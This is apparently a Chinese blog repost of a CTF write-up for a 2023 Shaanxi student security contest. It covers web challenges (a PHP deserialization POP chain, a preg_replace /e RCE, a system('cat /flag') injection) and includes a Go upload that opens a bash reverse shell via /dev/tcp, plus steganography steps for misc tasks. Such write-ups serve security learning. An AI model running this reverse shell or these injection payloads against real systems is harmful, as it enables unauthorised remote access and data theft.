2023陕西省大学生信息安全竞赛web writeup
2023-06-05 12:59:57 来源:博客园
(资料图)
前言
早写好了,忘发了,题目质量还行,够我坐大牢
ezpop
简单的反序列化,exp如下
night = $d1;$d1->day = $d;$d->dark = $l;$l->light = $d2;$d2->day = $d3;$d3->dark = "php://filter/read=convert.base64-encode/resource=/flag";echo serialize($n);?>
传参这有个坑,用了Unicode编码,得copy下来进行url编码才能传参,不知道这么干有什么意义,还得绕过Exception,把变量数改一下就能绕过了,跟绕wakeup一样
ezrce
preg_replace采用了/e的模式,很明显有rce漏洞,简单的测试了一下,不能用数字等等,这waf有点牛逼,采用无参rce直接读flag就行了,name得含有hahaha
unserialize
非预期,?a=system ("cat /flag");就能读flag
test
查看页面源代码,发现/profile/index这个路由,访问一下返回一个result,啥也没有,仿问/profile/admin,返回了密码,MD5解密一下asdfgh123
admin登录进去,提示上传个go文件,就会运行,构造一个上传数据包,go文件如下:
package mainimport ( "fmt" "log" "os/exec")func main() { cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1") out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n", string(out)) log.Fatalf("cmd.Run() failed with %s\n", err) } fmt.Printf("combined out:\n%s\n", string(out))}
反弹shell,拿到flag
Misc
管道
zsteg -a 管道.png | grep "flag"
可是雪啊飘进双眼
第一步hint.wav,藏了摩斯密码,解密出来是WOAISHANXI
,snow.txt,snow解密,snow.exe -p WOAISHANXI -C snow.txt
,拿到密码shanxiroujiamo
,解开压缩包,两张图片,key.jpg与hide.jpg, binwalk -e key.jpg
提取出一个压缩包,里面有张图片,跟key.jpg的密文相对应,一一对照拿到密码BC1PVEYD
, steghide解hide.jpg即可拿到flag
标签: